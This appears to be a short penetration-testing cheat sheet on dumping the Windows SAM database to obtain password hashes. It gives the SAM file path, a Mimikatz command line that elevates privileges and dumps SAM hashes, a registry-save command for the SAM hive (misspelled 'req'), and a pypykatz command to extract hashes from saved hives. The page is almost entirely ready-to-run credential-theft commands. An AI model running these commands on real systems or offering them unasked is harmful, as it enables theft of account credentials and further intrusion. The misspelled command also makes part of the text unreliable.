Dump sam

C:\Windows\System32\config

\#DUMP with Mimikatz from LSASS Service
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"

\#DUMP WITH SeBackupPrivilege
req save hklm\sam C:\Users\blas\Desktop\SAM.hive

#GET HASHES
pypykatz registry --sam sam system

Last updated